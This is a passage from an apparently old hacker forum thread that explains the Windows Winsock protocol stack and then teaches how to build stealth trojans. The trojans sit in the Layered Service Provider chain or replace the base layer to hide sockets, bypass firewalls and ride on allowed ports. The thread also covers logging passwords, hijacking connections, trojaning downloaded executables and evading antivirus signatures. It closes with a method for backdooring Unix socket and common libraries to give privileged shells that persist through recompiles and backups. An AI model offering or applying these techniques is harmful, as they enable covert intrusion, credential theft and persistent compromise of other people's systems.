more likely that they use a Broadcast/Avalanche/Distributed DoS attack and you
see lots of silly IP's none of which are theirs.
The firewall can actually fall over before your system does - thus making the
attack successful when it may not have had sufficient bandwidth/duration
otherwise ... this is because the more processing that is don't in the TCP/IP
Protocol Stack the more susceptible you are to DoS.
3. FIREWALLS
I remember commenting in an earlier post about the problems I was having
getting biodata to listen to me. There is a buffer overflow condition but its
ability to actually be exploited for anything other than general DoS is
questionable, I've yet to see anyone do anything with it ... The actual useable
amount of placed data is small.
But the fact is ... I helped them get the protocol layer to hold its position
aggressively and to get the filter in before services load (Something that
still causes walls to miss early-loaded Trojans and VXD layer-0 stuff) yet
they STILL won't listen when I point at THEIR code and jump up and down. I
think its the same everywhere.
Still, its the best firewall out there as regards hard capability and reliable
detection/rejection.
I guess the best advice is still: If you run any net app, run it from behind a
wall (preferably non-local) and THEN run the wall wrapped for security. A
wrapped service can't access anything outside of the v-disk its mapped to or
see/access any memory location outside of its v-heap without causing an
immediate violation before action. Its the best protection against Trojans,
backdoors and exploits we have - yet nobody takes the care.
*shrugs*
But there again, I've been telling people this for years and nobody takes a
blind bit of notice ... ho hum.
-=[ Firewall specifics ]=--
I apologise in advance for the length of this post, and the radical
dumb-down... if anyone wants to discuss it in the dirty raw let me know, and
I'll follow up with a real nasty c++ oriented hard orientation (This is a
true 'Firewalls 101')
Winsock aware people may want to start reading from half way down <G> Or even
skip the post entirely : ) But trust me, it DOES break new ground at the bottom.
Here's the dummies guide to Firewalls, the protocol stack, the LSP and how to
hack past them ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Okay, lets look at how those pretty packets get from 'out there' to your app ...
its kinda like the sperm thing, but amazingly less packets die along the way.
Because this is a general threat I'll dumb it down a little where I can, and I
can then expand on areas of question later.
We should all be familiar with the winsock.dll ... it exports the methods we
use to use windows sockets, its a fairly simple affair and doesn't include any
facility for checking and manipulating packets or watching all socket
activity ... Many apps DO watch all sockets though, but how? Is there another
.DLL? A hook?
Well, the methods you need are within the Winsock DLL but they are not
accessible through the public interface (the DLL Exports) they are buried deep
inside ... now, accessing non-exported functionality would be a bit of a
problem, but for the fact that the Winsock DLL interface is not a fixed
entity ... its just a handy entry point holder for the true complexity below,
the wonderful 'Protocol Stack' !
So ....
[App] [App] [App] [App]
[--------------------WinAPI---------------------]
[-Winsock DLL-] [Various other DLLs]
[Protocol Stack]
All your windows applications sit on the WinAPI ... which handles all the hard
stuff like talking to the various device drivers for you, this means that the
app doesn't need to know anything except how to talk 'API'
The winAPI has a special (optional) component which handles networking with
sockets called the Winsock DLL, this acts as a secretary, phoning people,
hanging up on people, putting new messages in an applications IN-TRAY, and
sending messages from an applications OUT-TRAY ... and basically handling
things for our app in an orderly manner.
Now, The Protocol Stack, sits between the world as we know it, and the
application - and its job covers quite a lot, but think of it simply as a
Wrapping/Unwrapping room for messages going in and coming out. It checks that
the data packages are wrapped correctly according to their size and nature
(TCP/UDP/Etc...)
Packages coming in are checked and unwrapped, the envelopes are all opened, and
the final item is passed, ready to use, to the Winsock DLL which then informs
the application that it has a message waiting, and places the message in the
applications IN-TRAY - the application doesn't have to worry about how the
package got here, how it was addresses, or how many layers of wrapping paper
were removed, it just takes the item from the Winsock DLL when its ready, and
uses it.
Now ... That's quite simple so far ... But, there are many different ways to
wrap different types of message - we call these 'protocols' and the protocols
sometimes (rarely) change - or new ones are added ... to cater for this the
ProtocolStack is broken down still further ....
[--------Protocol Stack----------]
[Transportation][Namespace]
The Transportation side of things deals with wrapping/unwrapping parcels and
taking them to and from the delivery medium (Not a MailVan in this case, its
the internet hardware ... although, sometimes it seems about as slow as
surface mail <G>)
The Namespace side is responsible for checking the addresses ...We can forget
this, but think 'DNS'
Now, like I said, the Transportation layer deals with the wrappings ... and
different packages have to be wrapped differently, rather than have one lump of
code telling us how all things should be wrapped we have a much more flexible
arrangement ... We have a conveyor belt of wrapping/unwrapping people and the
packages pass each of them in turn.
Now, in the Winsock there is a .DLL for each of these people we have a DLL that
controls how they behave ... for example, we might have someone that picks out
round objects and wraps them in brown paper - that is one DLL the message
passes through ... then our wrapped ball will be passed to a DLL for a person
that takes square objects and puts them in boxes, he ignores the package
because it doesn't apply ... etc ....
So ... data going out passes through a number of DLL's each manipulating and
wrapping it in some way or just ignoring it till it finally comes out the other
side all ready for shipping over the internet safely.
The reverse is true, and passing a wrapped item up the line in the opposite
direction will cause the DLL's to unwrap it appropriately too, so that it
arrives at the Winsock DLL ready to be passed to the application.
Not so difficult so far !
Now, lets look at that pictorially, The wrap/unwrap DLLs are known as 'LSP's or
'Layered Service Providers' And they are called this because they provide
suitably standardised TCP and UDP wrapping services that the internet likes,
and they do this in layers ... each checking the data in turn before passing it
to the next LSP layer in the long chain of LSPs ... Finally it reaches a BASE
LAYER which does all the low level processing and actually implements the
protocol.
We can start to see now why they call it a 'stack'
[---------Application--------]
[------Winsock2 API-------]
[------Winsock2 DLL------]
[Transport] [namespace]
[LSP]
[LSP]
[LSP]
[LSP]
[LSP]
[Base Layer] - This is the final layer, it does the low level work
Now, since the LSP chain is a linked-list of DLL's we can insert one ...
Firewalls do this ... And this firewall LSP takes his instructions from a
RuleSet, such as .... any packages from 'Lebanon' throw away quickly.
Whenever it sees a package that fits its rules it behaves accordingly, to lose
the packet it simply doesn't pass it on to the next LSP in the chain (Who didn't
expect it coming anyway) and in this way packages to and from Lebanon can be
suitably lost : )
Below the base layer things get a little too grubby, the data passes through a
device driver for a modem or network card, which sends the data to a device -
This is the zero layer, or the VXD ... each of these drives is hardware
specific, and therefore completely beyond out explanation <grin> Phew, dontcha
love shortcuts ?
And below that is your pretty modem or network card with its blinking flashing
lights.
Now, our firewall is throwing away packets it doesn't like, and its doing it at
a very low level ... it stops (Or SHOULD stop) bad packets getting to or from
our applications ... and also, should stop hidden applications we didn't know
about from talking to the outside world (Trojans my dear boy, Trojans!)
Now, some fun ....Nightmare scenarios for your firewall ....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SCENE 1 ... a DLL Trojan is sitting in the protocol stack at a lower position
that the firewall ...
[LSP]
[LSP]
[FIREWALL LSP]
[LSP]
[TROJAN LSP]
[LSP]
[BASE LAYER]
There is no Application sitting on the WinAPI or using the Winsock DLL .... Just
a DLL inserted into the protocol chain as shown above. This means that Trojan
packets don't have to pass all the way along the protocol chain, up through the
stack ... it only has to get as far as your Trojan DLL ... who will not pass
the packet further (Because its journey is a shorter and its already reached
its destination) This means there is no Trojan packets for your Firewall to
handle, they all stop short - and therefore your firewall is happily silent.
Data going out from the Trojan is the same, it starts inside the protocol stack
and travels outwards from a point already beyond the firewall.
Do a netstat -a (Lists all open sockets) .... because nothing further up the
chain than your [trojanLSP] is aware of the socket (Why would we tell them we
opened a socket) it doesn't show at all ! Stealth!
See the power of a LSP DLL Trojan ?
But, how can we stay ensure that we stay lower in the chain than the firewall's
LSP ?
SCENE 2 ... a DLL Trojan is sitting under the protocol stack as a baselayer
wrapper
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[LSP]
[LSP]
[LSP]
[FIREWALL LSP]
[TROJAN - [BASE LAYER] ]
The Trojan pretends to be the base layer (Replaces it) and whenever asked says
'I am the base layer and there is nothing below me' and doesn't offer a pointer
to the true base layer, thus the true base layer is disconnected from the chain
and cannot be found ... The Trojan calls it and exports all of its functions
back up the chain, but - it takes out Trojan packets and inserts Trojan replies
... NO LSP will ever see these, regardless of their position in the stack.
Of course, these methods only evade firewalls on the local machine ... a
hardware firewall or a firewall on a network gateway WOULD spot the connections
to and from the socket. Is there a way around that ???
Of course there is ... and here's the fun part of Trojan LSP's
SCENE 3 ... Promiscuous mode LSP firewall evasion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Lets say we have a gateway that is running externally to the infected machine
(A gateway firewall or a hardware firewall)
Now, ALL firewalls have holes in them for authorised applications to talk
through in both directions ... if they didn't then why have the internet at
all ? Nothing would get in or out !
So, we can assume that there are sockets in use that have firewall approval ...
how does this help our Trojan ... Well, instead of our LSP looking for packets
directed specifically AT it, it scans ALL traffic for specially quoted
sequences...
When it finds a specially quoted (embedded) sequence it removes that sequence
from the data before passing the data up the chain ...
When the Trojan wants to send a reply, it quotes it and inserts it into the
outgoing data on the same socket that it just received the command from ...
Because it is stripping commands out BEFORE they get to the application that
owns the socket, and its inserting replies AFTER they left them application,
the application is completely unaware that a Trojans commands and replies are
getting a free ride on its socket.
So, out hacker just connects (Or sends UDP) to ANY socket he can see from the
outside, possibly an FTP/HTTP/TELNET/MAIL daemon .... and the Trojan will act
upon it and reply, but the application will see none of that, the application
only sees what is NOT quoted .... so, hey presto - we Trojaned ALL of his ports
...and even remote firewalls will allow some of those ports access to the world,
or it wouldn't have the sockets open.
If our open quote was '<---' and our close quote was '--->' and when the Trojan
replies its open quote is '[--' and its close quote is '--]' we could connect
to, saaaay .... the telnet port if its open, and this is what we type
lo<---hello--->gin guest[enter]
[---OK---]
The Telnet daemon sees 'login'
The Trojan sees 'hello'
The Trojan replies 'OK'
now, lets say our Trojan always replies with the victims time whenever we type
'time' ... lets continue that telnet connection from where we left,
password? <---time--->
[---The time is 14:27pm on Monday 12th April--]
<--portlog 23 play-->
[--Playing back log for port 23--]
[--login fred^^topsecret^^ls^^ps x^^kill -9 28374^^--]
[--login guest^^blooper^^ls^^quota^^logi^gout^^--]
--8< snip -------
[--login user^^usermania^^ls^^ps x^^eggdrop egg.conf^^ls^^--]
[--end of log for port 23--]
See that, we asked our Trojan for the log of port 23 and it played back the
first few bytes of each connection it had seen on that port today ... There's
the guest password, lets give it ...
blooper [ENTER]
Welcome Guest, This is a test account with no prive ... blah ....
<--shutdown-->
[--Shutting down now--]
[BYE]
..connection lost..
Now, its unlikely that the windows machine has a telnet port, but bear in mind
that this could be ANY UDP or TCP port we can reach despite the firewall,
possibly a port 80 or some listening ICQ or MSN or mIRC's IDENT port etc ...
even ports 137, 138, 139 (Although the firewall would prolly block or restrict
those last 3) ... all are our Trojan
For a firewall to detect this it would have to be an AI, maybe a user that
happened to be packet logging would spot it ... but, our quoting wouldn't be so
obvious and our command/replies would be simply encrypted.
Imagine, the hex 0x293D3E22 was our open quote, and 0xEE3DF405 was our close
quote, and that all data quoted strings were fiendishly bit-mashed, looks just
like regular binary data now huh ? Send it UDP wise to a socket we can reach
and BOOM, we can reset the box, or have it send back files or directory
contents ...
SUMMARY
~~~~~~~
Now, you know how firewalls tend to attach to the system and filter data ...
and you know that any LSP can see ALL traffic but normally only deals with
packets that it applies to ...
... you've seen how the low level LSP Trojan can make a mockery of any remote
firewall provision by using either :
Unauthorised sockets (unknown unenumeratable invisible sockets - only seen from
the outside and only if it likes your IP/remote port)
-or-
Authorised sockets (by sitting on all sockets promiscuously and riding the
authorised ones through any firewalls)
There is one lower point of access which has even greater rewards, the Layer-0
VXD wrapping Trojan, but that we will save for another time.
If anyone wants to see some actual C++ for LSP Trojans let me know and I'll put
some up, but I don't distribute binaries or complete sources, I'm only offering
the business end of the code : )
If anyone wants the seriously detailed hi-tech version of this article, let me
know and I'll place it as a reply to this thread, but my wrists are aching and
I really don't want to type any more today ... I been typing all day and this
article has just wiped out fingers <G>
Oh God, another lengthy one ... But here, as requested, is a pointer to some
code you can use, and a detailed description of how to add your Trojans
functionality.
I was going to give out some C++ code on hooking a Trojan into the Protocol
Stack as an LSP or Base Wrapper, but since a dummy LSP template exists on the
Microsoft Developers Network (http://msdn.microsoft.co.uk - search 'LSP') along
with probably the most detailed explanation of an LSP's interface (The SPI or
'Service Provider Interface') I think my time would be pretty much wasted
repeating most of this here : ) Needless to say, you will need visual C++ to
compile this template. Soooo, fortunately you don't have to sit and bash
through my C++ <G>
The example they give is for a fully functioning LSP that does absolutely
nothing, and the code for a second program which installs the LSP in a
specified place in the LSP Chain. This second program is called 'sporder' and
also contains code you should be looking at : )
If you remember, an LSP's power lies in making sure it is always BELOW the
firewall in the protocol stack. So, a Trojan would implement the functionality
of BOTH of these programs, here's an idea of how you would combine the
functions into a finished DLL.
The LSP Trojan would be exactly the same as the example they give, but with the
following changes.
During DLL Initialisation we use the code given in 'sporder.c' to see where we
are in the protocol stack (Are we at the bottom?) and if necessary will Unhook
the LSP from its current position in the chain, and install it at the lowest
position in the chain .... This always ensures our LSP sees everything before
the firewall/packet logger/socketguardian does. This is the modification
required to make our Trojan hold its position in the stack aggressively. Since
the DLL now manages its own position in the stack, we can throw away the rest
of the code in 'sporder.c' Our code now fights for its own position rather than
being 'placed' by others.
Now we have an LSP that holds its position forcefully by using elements of
sporder.c - But it still does nothing ... how do we make it into a useful
Trojan? What can it actually do!
What our little gift from Microsoft can do for us ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Well, Almost every function in winsock.h has a similar corresponding function
in each LSP of the message passing LSP chain ... It has all the functions for
Initialising, Handling errors, Opening, Connecting, Closing, Listening,
Accepting, Receiving data and Sending data ... Whenever any of these events
occurs, EACH LSP in the chain, has its corresponding function called, and
whether it acts upon it or ignores it, it must pass it along the chain to its
neighbour when done.
Simple?
Under normal circumstances an application would call winsock.dll in order to
create a new socket ... the Winsock passes this 'create' message down the LSP
chain, and each LSP creates a socket structure to hold information about the
socket .. and then passes it further down the chain ... when the 'create'
instruction hits the BASE layer the socket is created and a confirmation is
sent back UP the chain layer by layer till it reaches the APP. If any layer
DIDNT allow the socket to be created, it will NOT pass the 'create' message any
further and will NOT create a structure for the socket, and will instead pass
an error back up the stack informing all the LSP's above it (That each hold a
structure for the socket) that they should release the socket structure. The
error then propagates to the APP, which promptly screams and falls over.
Now, things are much simpler for OUR Trojan ... We just get it to send a
phantom 'create' down the chain (Since we are at the bottom, this should go
directly into the base layer) and hey presto - a socket is created that nobody
else knows exists.
We STILL need to keep a list of the legitimate sockets on the system (And the
example code takes care of this) But we should also keep track of our
Illegitimate sockets. So, lets keep a note of which sockets are illegal too.
This is easily accomplished by sub-classing the SOCKETINFO structure (Which
holds a legitimate socket) to create an EXSOCKETINFO (Which contains the
structure SOCKETINFO and also a BOOL expression which tells us if this socket
is one of ours, or one of theirs)
STRUCT EXSOCKETINFO {
SOCKETINFO thisSocket;
BOOL isPrivate;
}
So, we STILL have a SOCKETINFO structure that we can pass to other LSP's up and
down the chain, but we also have a BOOL bound to it that tells us whether to
treat this socket as private.
Now, lets catch EVERY socket event that passes through us from the layer below
(Probably the base layer) and check its socket description against our
EXSOCKETINFO array for 'isPrivate==TRUE';
and if it IS a private socket, we will stop it traversing up the stack
(i.e., we won't pass the message on, but instead - handle it ourselves). But if
it ISNT a private socket, we will was it up the chain unhindered.
So, when we want to create a secret socket, we pretend we received the
instruction from above ... we create a socket information structure and mark it
as a private one, and then we tell the layer below us (The base layer probably)
And our socket is now a secret item between us and the baselayer.
When we make the socket 'listening' we do exactly the same ... we mark our
socket as listening, in the socket structure, and then pass the instruction
down to the base layer, who then listens : )
When the base layer receives a connection attempt it will try to propagate the
notification back up the stack ... It gives it to our LSP, who notices that
isPrivate==TRUE; for this socket and doesn't pass it any further - just acts
upon it in the same was as a normal APP would if it got the event directly from
the Winsock API.
I hope this is making sense, and that you see how PRIVATE sockets that we
created, are handled solely between us and the base layer (A very short path),
while NON-PRIVATE sockets are traversing the full length of the Protocol Chain
between the Application and the Base layer (A very long path)
Once we have made the following distinction in our event handlers:
If (isPrivate==FALSE) {continue with Microsoft's code, and pass it on as a good
LSP should, cus that's the only way for a DLL to get into LSP heaven when it
unloads} else {Pass it to our handler, which will behave just like an APP
receiving callbacks from the Winsock}
We can then code our Trojan. Using a function to handle each of the events, and
basically, acting just like an Application.
What about this Promiscuous mode deal, that allows you to piggyback existing
connections to gain non-local (gateway) firewall approval
Damn, I thought you had all forgotten about that ... Well, here goes ....
Instead of creating a sub-classed SOCKETINFO structure to hold an isPrivate, we
need to hold an incoming buffer, or maybe even BOTH, so that we can switch
between Stealth mode and Promiscuous quoted mode
STRUCT EXSOCKETINFO {
SOCKETINFO thisSocket;
BOOL isPrivate;
BOOL bDivert;
char *BUFFER;
}
Now (In promiscuous mode) we read ALL data coming in on ALL sockets ... instead
of just blindly passing it on
Say our quoting/de-quoting sequence for secretly embedded instructions is ...
0x01020304 {Trojan command follows} 0x04030201 ... Here's how we handle various
data we receive ....
We receive : A0DE003F45A0DE003F45A0DE003F45FFFF000100
We decide : There is NO 01020304 sub-sequence, and since the last byte
indicates that we don't have what could be a partial 01020304 we are safe to
assume that all of this is data ... if we are bDivert=TRUE then pass this data
to our Trojan, if bDivert=FALSE then pass it up the chain as normal cus its
bound for the APP.
We receive : 010101010101010203040A0B0C0D0E
We decide : There IS an 01020304 sub-sequence, Process the 010101010101 data as
bDivert indicates, if bDivert=FALSE then set bDivert=TRUE, strip out the
01020304, and pass the rest of the data to the Trojan (Unless an 04030201
sequence switches us back to bDivert=FALSE, if so ... the trailing section gets
passed up the chain also ... see below ....)
We receive FFFFFF010203040E0E0E0E04030201EEEEEE
We decide .... FFFFFF gets passed up the chain (bDivert=FALSE) 01020304 sets
bDivert=TRUE, 0E0E0E0E goes to our Trojan, 04030201 sets bDivert=FALSE EEEEEE
gets passed up the chain. Ie: 01020304 and 04030201 are both discarded, the
Trojan gets OEOEOEOE and we pass FFFFFFEEEEEE to the APP via the next layer up
in the chain, and we leave bDivert in the FALSE condition.
Now, be careful ....
We receive: A0DE003F45A0DE003F45A0DE003F45FFFF000102 and bDivert=FALSE
We assume that the trailing 0102 is inconclusive, and so we leave the 0102 in
the buffer and only pass A0DE003F45A0DE003F45A0DE003F45FFFF00 to the next layer
Next time, when more data is added to the buffer, we will see if 0102 + the new
data = an 01020304 sequence ... and start routing accordingly
If no new data is received within a reasonable period, we will pass the 0102 up
the chain to avoid the APP from getting stuck, since an 0304 would have
followed real fast if it was going to at all.
So really, we have an incoming stream that we consider as 'rolling' (i.e., we
may be splitting tokens with each burst of data) ... each time we see an
01020304 while bDivert=FALSE we set bDivert =TRUE and discard those 4 bytes ....
each time we see 04030201 while bDivert=TRUE, we set bDivert=FALSE and discard
those 4 bytes ..... And other data just gets sent to the next layer up if
bDivert = FALSE, and gets sent (diverted) to our Trojan if bDivert=TRUE;
Each socket on the system has its own bDivert state and its own buffer to hold
possibly split sequences. So the sockets themselves hold their own stream
management data.
When the Trojan wants to send a reply, it just passes it, similarly quoted, to
the base layer - so that at the other side we can distinguish between the APP's
output and the Trojans output on the same socket.
We can make a similar arrangement for UDP using the same pattern, UDP commands
sent to/from the Trojan are much easier to manage as they will have the
DontFragment set in their packet header, and their data portion will ALWAYS
start 01020304 and always end 04030201 - easy to distinguish and route in whole
- no need to ever keep a rolling track of possibly split quote/dequote tokens.
Remember to choose a better quoting sequence (Variable length) ... I suggest 6
or 8 bytes to avoid false triggering, and random bytes avoiding 0x00 and 0xFF
What other things could my Trojan do ?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Anything a normal Trojan can do .... Plus the following:
1. Allow you to set a list of ports '21 23' for which the first 255 bytes of
any incoming or outgoing connection is recorded. This will capture his FTP and
TELNET passwords for other systems (outgoing TO 21,23) and his own (Incoming TO
21,23) Very handy ! *grin*
2. Allow you to remotely watch/insert data into any existing connection, by
listing his current connections, and allowing you to choose one to join in with
(i.e.: All in/out data will be echoed to you ... And you can send ' >/quit~ '
where ~ is a CRLF combination and > means send it OUT of that connection (Down
the chain) as though it came from his client .... and
'< :evilserver.undernet.org PRIVMSG blah :blah' where < means insert data UP
the chain, as if it came from the remote IRC server. This is good for monitoring
both sides of any connection he has made, and tampering in both directions ...
its really funny when someone at work calls their home machines FTP and it
starts talking to them, they then do a netstat and set their firewall to log -
and finally conclude that someone is in their house - Man, its funny - I nearly
died laughing as I listened down his mic. and he told co-workers that he had to
go home because someone was fucking with his system. (It was, a friend of mine
- and not an illegal hack, I'm a nice boy ... ummm... honest <G> )
3. Look for FileTransfer negotiations .... such as DCC SEND's for executables
.... alter the reported length, then watch the socket the .exe is sent, follow
the header through and change the execution entry point to point at the end of
the program, let everything go through as normal, but when they finish sending
the remote will be expecting more .... ignore/withhold the local machines
attempt to close connection and send your Trojans installer code .... at the
end of the code place a JMP back to the original entry point (Looking at the
source for any virus will show you how this is all done) ... and, hey presto -
All DCC's executables are Trojaned on the fly .... now code the same against
FTP ! Its not as difficult as it sounds, in fact - on FTP its even easier <G>.
4. You can change any IP to any other IP, you can even change IP's of
connections WHILE they are in progress .... or make it so that ANY connection
from you IP range will report as a randomly generated IP .... if he pings it,
it will still respond .... because your layer not only converts REAL->FAKE on
the way in, but it also converts FAKE->REAL on the way out .... he's
communicating with YOU, but he sees an IP that resolves to whitehouse.gov? He
sees an IP from his own network? Your Trojan can keep a translation table of IP
mis-reports so that the return paths can be resolved again correctly.
212.23.a.b=127.0.0.1
212.24.a.b=24.124.b.a
24.a.b.c=*.*.*.*
From now on, all connections from 212.24 will scramble as follows ....
212.24.12.23 = 24.123.23.12
All from 212.23.x.x will show as localhost connections (Bizarre!)
And all from 24.x.x.x will show as a random IP
Until you clear the IP translations.
5. You have access to all ports, all data you can spoof data in either direction
even over existing connections, you can even spoof phantom connections from
IP's that don't exist. Surely you can think of a million uses.
Remember also that writing an aggressive LSP is not their best option (Its
still a DAMN good one) ... the best option is to kick the baselayer out of the
way, and replace it with your Trojan which imports and makes available all the
functionality of the true baselayer (IE, becomes a conduit or 'wrapper' ... but
also carries out its own agenda ensuring that NO LSP can ever see what's going
on between the base-layer and the device driver) In practice this better method
is even simpler to code since all we do to create our wrapper is to import each
function of the real base layer, and make it available through identical
exported functions .... each of our exported functions just calls the imported
(real) one ... so we in effect sit in the middle .... from here we can add our
functionality to this very simple wrapper.
Phew, another real nasty post.
Sorry this only apples to people with Visual C++, but at least the code is
already written for you to tinker with <G>
Big thanks to Bill Gates for publishing an entire base source for LSP
applications, fool!
Now I have to go justify my post to my group, and show that I'm not really
giving away any real specifics on implementation and that it doesn't affect the
integrity of our internally distributed code products. (Never code within a
closed group - its a pain in the a55 *JK* )
P.S. Need I remind you that its pointless making a Trojan use this kind of
stealth - and then build in CD-OPEN, CD-CLOSE, MOUSEMOVEXY and FLIP-SCREEN
commands ... If you want stealthy backdoors, then great - if you want people to
know you are there, just get SUB7 2.1 and modify the long string of zerobytes
(Which McAfee and Norton both rather stupidly use as part of the viral
signature) so that the last 0x00 is an 0x01 (play around with your hexeditor,
you will spot the section I mean.)
Ummmmmmmmm......
Great post...
Q1) If you get two Trojan LSPs (or more) trying to become the base-layer....
aren't they gonna get stuck trying to leapfrog each other?
Q2) If you dropped a wrapped base-layer and then someone did the same....
wouldn't yours be gone or start a base-layer war much the same as Q1?
Q3) Would there be any way of seeing what patched/inserted beside the
base-layer and/or stopping said activity so that you didn't loose access?
(Maybe even just an LSP-Default type thing?)
- Minion
Okay, well - LSP's can leapfrog each other all day without harm, they would
only be checking every few minutes or so .... It results in an inefficiency,
but nothing really drastic unless both are checking the position several times
a second.
That's why wrapping the baselayer is preferable ...
[TRUE BASELAYER]
Install Trojan 1
[Trojan 1 [TRUE BASELAYER]]
Install Trojan 2
[Trojan 2 [Trojan 1 [TRUE BASELAYER]]]
Calls to the baselayer are sent to Trojan 2 (Which is now in its place and is
assumed to be the base layer) ... Trojan 2 calls Trojan 1 (Which Trojan 2
assumes to be the true base layer) ... Trojan 1 calls the true base layer ....
And still have DLL chain integrity : )
base.dll gets renamed to hgyt.dll and Trojan 1 becomes a replacement base.dll
that calls hgyt.dll
base.dll(trojan1) gets renamed to ieur.dll and Trojan 2 becomes base.dll and
points at ieur.dll.
So, for every call to base.dll ... base.dll is called, which executes trojan2
functionality and calls ieur.dll, which implements trojan1 functionality and
calls hgyt.dll (Which is a true base layer and has the functionality to process
the socket requests)
All you have to ensure is that you preserve the parameters and pass them to the
next DLL in the chain, unaltered (Unless you want to affect the operation for
some reason)
--=[ Backdooring the open source boxes ]=--
Okay, so ... you've played with your box and a list of exploits ... you found a
hole, gained root priv's and finally patched the hole, recompiled the daemon or
service that you exploited ... and now are sitting back happily. Test
successful - Box secured.
Good fun ?
If you found someone had been inside your box, you suddenly hunt down and
install all those 0-day patches, recompile everything from original
distributions, upgrade all daemons to the latest stable/secure version ... and
hope the hole has gone away. You change all the passwords, you check a few file
permissions ...
I mean, The big prize is the password list, yes ? You changed the passwords,
removed all potentially exploitable code - and now you recompile everything.
... you finally relax.
Did it ever occur to you that you could have just backdoored your system
COMPLETELY ... so completely that you're system is now a big walking hole with
some Ethernet cards attached.
Furthermore, did it ever occur that the hacker may have had his eyes on a
different prize? Sure, he stole the password file and is probably cracking away
at it right now ... but you already changed all the passwords on this and other
trusted boxes no concern there ...
This following method has worked effectively many times in tests, and will
continue to work again and again : ) Its no good against the really clued-up
sysadmin, but, you'd be VERY surprised at some of the places where this
technique has been applied successfully against the administrative staff.
sockets.h, we all know what it is ... its the header for the socket library and
its used by applications wishing to use sockets (Obviously enough) Its
associated library defines the behaviour and interface of socket objects
globally.
Now ... what happens if ALL sockets on your system had added functionality ...
what if all data received by a socket-aware application was checked for hidden
instructions (Similar to the windows LSP) And then, on seeing a specific
sequence, opened a shell with the input/output stream handles redirected to
the socket.
An attacker could just send a 'GODsequence' at any of your daemons and drop
himself into a shell. It seems obvious, but its amazing how little admins worry
about their include libraries - despite the fact that a rogue library can hole
all applications.
Now, the shell would be limited (You don't run any daemons as ROOT or Admin do
you ? Few are so stupid) Probably a specially restricted shell owned by MAIL or
NOBODY. However, you do have OTHER processes that run with privileges,
although, its kept well away from the sockets - and the daemons don't have the
priv's required to affect those. Right ?
Think again ...
Imagine that #include <socket.h> includes a modified socket library that has
the power to drop a user into a restricted low-priv shell on receipt of a
GODsequence ...
The attacker could get into a low-access utility shell
Now imagine that its not the only include library affected, that a more general
include library is also affected - and that the following can happen ...
User connects to a daemon (Maybe httpd) that has been recompiled (For security)
after an attack ... and thus now houses our *ahem* 'extended functionality'
User sends a GODSequence to the port
User gets dropped in a shell
User creates a file: /tmp/{godsequence}
The other applications (Not necessarily utilising sockets) check for this file
every 60 seconds (A function they inherit from use of a common basic library
(NOT SOCKETS - Think generic, think global <Grin>) ) and, if it is there, drop
a file of their own ... the filename consists for the godsequence followed by
the PId
-rwxrwxrwx /tmp/godsequence17263.tmp
-rwxrwxrwx /tmp/godsequence326.tmp
-rwxrwxrwx /tmp/godsequence22273.tmp
-rwxrwxrwx /tmp/godsequence3234.tmp
The file they drop has their privileges and the userID they are running under
listed in it.
now the attacker can CAT these files and find an infected process that has the
elevated priv's he needs.
Then he deletes the /tmp/godsequence file (To stop the .tmp files being
refreshed every minute) and deletes the .tmp files too. Remember, he can do
this because he has access to /tmp and the files are rwx to everyone.
Now, he knows the pID of an application that is infected and running and has
elevated priv's ... so he drops a new file.
/tmp/godsequence3234.cmd
Within 60 seconds the contents of this file will be executed by the infected
application or service at a higher privilege and the results placed in the
file /tmp/godsequence3234.rpl
Its clumsy, but the infection code is simple and both halves can be remembered
easily and typed into the library source quickly before recompiling.
I can't believe how many people don't take their g++/gcc headers and libraries
seriously ... and, without checking them, rush off to recompile all their
daemons and services (Thus dooring their box) AFTER an attack.
Best not to go anywhere near the password file ... hole the libraries and LEAVE
... Give it some time and the box will door itself. And, by the time it is all
doored up nicely by the ADMINISTRATOR the tripwire will be including these
doored executables in its database.
The reason we give it time? If we panic the admin too much he's gonna go check
everything thoroughly - let him recompile his daemons and kernel in his own
time ... this gives tripwire a chance to incorporate our changes as HE
recompiles. That way, all the binary changes will be authorised and expected as
they occurred during a scheduled upgrade.
Too simple ...?
I have missed out a few aspects of this attack
Also , I prefer using global objects to directly communicate with all receptive
apps to get a list of which one you would like to drop shell ... and then it
opens a data pipe between the shell and the socket app - Its a much neater
solution *grin*
Example ...
User quotes GODSeq ---> [daemon on low account]
[daemon on low account] opens a global object as a flag to other Processes
Other Processes are polling for the global object and reply with their
capabilities and privileges/userID.
Process1 ----\
Process2 -------> [daemon on low account]
Process3 ----/
User receives userID list as menu <----- [Daemon on low account]
User chooses an process to serve him ---> [Daemon on low account]
Now a data pipe is created with the chosen process, and the chosen process
creates a shell with privileges and uses the redirected input/output stream
handles to allow the shell to be used via the data pipe.
User <--> [Daemon on low account] <--> [Chosen Process] <--> [SHELL]
And, hey presto! ... An httpd running as 'nobody' is now acting as a telnet
server and allowing an unauthorised user to operate a shell provided by a
process running with higher privileges, possibly even root.
You want to change your SHELL provider? Great, just type the Godsequence
again ... and again the socket instance will use a global object to poll for
the infected processes again ... you then get your menu back and choose another
(Perhaps higher) userID.
And all the time the HTTPd software is unaware of this, because the socket is
subverting data and holding the connection open after the HTTPd disconnects.
Anyone have any thoughts ?
See if anyone spots the problems that I have to deal with when using this ?
<G>
BTW ... you could also make this resistant to library-file replacement/update,
can you see how ?
After a full compromise such as this, any intelligent sysadmin in a production
level environment would almost always be smart enough to just completely
re-install from trusted media like the original CD. Or for example with me and
OpenBSD, I would after fixing everything, re-CVS safe source, and re-build the
entire system..... so your right, this shouldn't work on a decent sysadmin,
but of course with all the NT admins out their.....
That is why I say you DONT go for the password file, its pretty useless once
the alarm bells start ringing .... and, if its a decent system, they will.
Compromise the compiler, and leave quietly.
Then wait, while the tripwire and backups are re-made ... I guarantee within
one month you have an open system. And better - most admins don't have time to
re-customise and re-patch the distro - so they just pull down a backup tape
... so, make sure enough time passes for backup tapes to inherit the changes.
I tell you, if you don't go for the prize straight away and you don't set off
any red lights - you can worm your little hole so deeply into their backup
